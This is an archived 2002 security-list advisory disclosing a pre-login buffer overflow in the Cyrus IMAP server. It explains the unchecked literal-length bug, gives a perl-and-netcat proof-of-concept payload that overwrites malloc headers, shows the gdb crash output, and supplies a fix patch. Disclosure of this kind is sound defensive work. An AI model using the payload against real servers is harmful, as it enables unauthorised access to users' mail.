pre-login buffer overflow in Cyrus IMAP server

From: Timo Sirainen (tssat_private)
Date: Mon Dec 02 2002 - 09:56:06 PST

  • Next message: Richard van den Berg: "ShopFactory shopping cart price manipulation"

    problem
    -------
    
    Cyrus IMAP server has a a remotely exploitable pre-login buffer overflow. I
    checked versions 1.4 (oldest in web page) and 2.1.10 which both had it, so
    apparently all versions are affected.
    
    Problem is that literal lengths aren't verified to be in any reasonable
    range. The length + 2 is then malloc()ed and later written into. So given
    length of 2^32-1, we get malloc(1) call but ability to write 2^32-1 bytes
    there.
    
    Note that you don't have to log in before exploiting this, and since Cyrus
    runs everything under one UID, it's possible to read every user's mail in
    the system.
    
    I verified that this is exploitable with GLIBC 2.3.1. Probably possible
    with older glibcs as well although they had somewhat different malloc()
    code. No idea about other libcs, BSD ones look safe. There could be of
    course other ways to exploit it than just malloc headers.
    
    (BTW. Why is it that glibc's malloc implementation is almost begging to be
    exploited? I don't think it would be that difficult to create safer
    implementation with internal structures in separate memory pages, possibly
    even separated with non-writable page(s) between. Could even be faster
    because of better CPU cache utilization, and maybe made to take less
    memory.)
    
    There's several other malloc/integer related problems where it's possible
    to read over 2GB strings from clients into memory accessing it with signed
    integers, finally wrapping into -2^31. That's probably not too bad since it
    can work only with >2GB process limits (only 64bit architectures I'd think)
    and even then it would quite likely access only unmapped memory.
    
    Authors were first contacted 30. October, I think it's way past the fix
    time.
    
    semi-exploit
    ------------
    
    perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
    <ctrl-c>
    
    The first 4 bytes specify the address where you want to write to in memory
    and the next 4 bytes is the data to be written there (must be a readable
    memory address). Rest of the bytes are overwriting prev_size and size in
    malloc header. The above values work with cyrus21 package in Debian
    unstable/x86. gdb verifies that the call was successful:
    
    Program received signal SIGSEGV, Segmentation fault.
    0xbfffef90 in ?? ()
    (gdb) bt
    #0  0xbfffef90 in ?? ()
    #1  0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
    #2  0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
    #3  0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
    
    Shouldn't be too hard to come up with a real exploit from there on.
    
    You also need to make one "x logout\n" connection first to trigger the
    exploit (Cyrus reuses the processes).
    
    fix
    ---
    
    Apply the included patch and set some reasonable ulimits to make sure the
    other integer overflows won't hit you in future.
    
    diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c
    --- cyrus-imapd-2.1.10-old/imap/imapparse.c	2002-06-24 21:58:41.000000000 +0300
    +++ cyrus-imapd-2.1.10/imap/imapparse.c	2002-11-29 00:20:44.000000000 +0200
    @@ -97,7 +97,7 @@
     	       struct buf *buf, int type)
     {
         int c;
    -    int i;
    +    unsigned int i;
         unsigned int len = 0;
         int sawdigit = 0;
         int isnowait;
    @@ -228,6 +228,16 @@
     	    if (c != EOF) prot_ungetc(c, pin);
     	    return EOF;
     	}
    +	if (len > 65536) {
    +	    if (isnowait) {
    +	        for (i = 0; i < len; i++)
    +	            c = prot_getc(pin);
    +	    }
    +	    prot_printf(pout, "* BAD Literal too large\r\n");
    +	    prot_flush(pout);
    +	    if (c != EOF) prot_ungetc(c, pin);
    +	    return EOF;
    +	}
     	if (len >= buf->alloc) {
     	    buf->alloc = len+1;
     	    buf->s = xrealloc(buf->s, buf->alloc+1);
    



    This archive was generated by hypermail 2b30 : Mon Dec 02 2002 - 14:59:43 PST